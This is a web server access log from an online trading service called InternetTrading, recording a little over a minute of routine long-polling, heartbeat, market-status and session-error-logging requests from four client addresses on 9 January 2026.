[09/Jan/2026:15:26:27 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:26:27 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:26:28 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943857879 HTTP/1.1" -
[09/Jan/2026:15:26:29 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943859107 HTTP/1.1" -
[09/Jan/2026:15:26:29 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943858567 HTTP/1.1" -
[09/Jan/2026:15:26:31 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943876173 HTTP/1.1" -
[09/Jan/2026:15:26:34 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:26:34 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:26:34 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943863989 HTTP/1.1" -
[09/Jan/2026:15:26:34 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943864127 HTTP/1.1" -
[09/Jan/2026:15:26:34 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943863623 HTTP/1.1" -
[09/Jan/2026:15:26:35 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:26:35 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:26:36 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943881206 HTTP/1.1" -
[09/Jan/2026:15:26:36 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:26:36 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:26:39 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943869056 HTTP/1.1" -
[09/Jan/2026:15:26:39 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943869172 HTTP/1.1" -
[09/Jan/2026:15:26:39 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943868772 HTTP/1.1" -
[09/Jan/2026:15:26:41 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943886275 HTTP/1.1" -
[09/Jan/2026:15:26:44 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943874090 HTTP/1.1" -
[09/Jan/2026:15:26:44 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943874204 HTTP/1.1" -
[09/Jan/2026:15:26:45 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943873825 HTTP/1.1" -
[09/Jan/2026:15:26:46 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943891338 HTTP/1.1" -
[09/Jan/2026:15:26:49 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943879167 HTTP/1.1" -
[09/Jan/2026:15:26:49 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943879255 HTTP/1.1" -
[09/Jan/2026:15:26:50 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943878994 HTTP/1.1" -
[09/Jan/2026:15:26:51 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:26:51 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:26:51 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943896363 HTTP/1.1" -
[09/Jan/2026:15:26:54 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943884246 HTTP/1.1" -
[09/Jan/2026:15:26:54 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943884303 HTTP/1.1" -
[09/Jan/2026:15:26:55 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943884129 HTTP/1.1" -
[09/Jan/2026:15:26:55 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:26:55 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:26:56 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:26:56 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:26:56 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:26:56 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:26:56 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943901422 HTTP/1.1" -
[09/Jan/2026:15:26:57 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:26:57 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:26:59 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943889274 HTTP/1.1" -
[09/Jan/2026:15:26:59 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943889350 HTTP/1.1" -
[09/Jan/2026:15:27:00 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943889238 HTTP/1.1" -
[09/Jan/2026:15:27:02 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943907186 HTTP/1.1" -
[09/Jan/2026:15:27:04 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:27:04 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:27:04 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943894403 HTTP/1.1" -
[09/Jan/2026:15:27:04 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943894372 HTTP/1.1" -
[09/Jan/2026:15:27:05 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:27:05 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:27:05 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943894313 HTTP/1.1" -
[09/Jan/2026:15:27:06 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:27:06 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:27:08 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943913192 HTTP/1.1" -
[09/Jan/2026:15:27:09 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943899432 HTTP/1.1" -
[09/Jan/2026:15:27:09 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943899402 HTTP/1.1" -
[09/Jan/2026:15:27:10 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943899367 HTTP/1.1" -
[09/Jan/2026:15:27:14 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943904526 HTTP/1.1" -
[09/Jan/2026:15:27:14 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943904424 HTTP/1.1" -
[09/Jan/2026:15:27:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943904562 HTTP/1.1" -
[09/Jan/2026:15:27:19 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943909602 HTTP/1.1" -
[09/Jan/2026:15:27:20 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943909450 HTTP/1.1" -
[09/Jan/2026:15:27:20 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943909718 HTTP/1.1" -
[09/Jan/2026:15:27:21 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:27:21 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:27:24 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943914695 HTTP/1.1" -
[09/Jan/2026:15:27:25 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943914521 HTTP/1.1" -
[09/Jan/2026:15:27:25 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:27:25 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:27:26 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943914872 HTTP/1.1" -
[09/Jan/2026:15:27:27 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:27:27 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:27:29 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943919727 HTTP/1.1" -
[09/Jan/2026:15:27:30 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943919565 HTTP/1.1" -
[09/Jan/2026:15:27:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943919917 HTTP/1.1" -
[09/Jan/2026:15:27:33 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943938105 HTTP/1.1" -
[09/Jan/2026:15:27:33 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:27:33 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:27:33 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:27:33 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:27:34 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:27:34 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:27:35 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943924864 HTTP/1.1" -
[09/Jan/2026:15:27:35 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943924593 HTTP/1.1" -
[09/Jan/2026:15:27:35 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:27:35 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:27:36 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943925093 HTTP/1.1" -
[09/Jan/2026:15:27:36 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:27:37 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:27:38 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943943190 HTTP/1.1" -
[09/Jan/2026:15:27:40 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943929902 HTTP/1.1" -
[09/Jan/2026:15:27:40 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943929625 HTTP/1.1" -
[09/Jan/2026:15:27:41 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943930147 HTTP/1.1" -
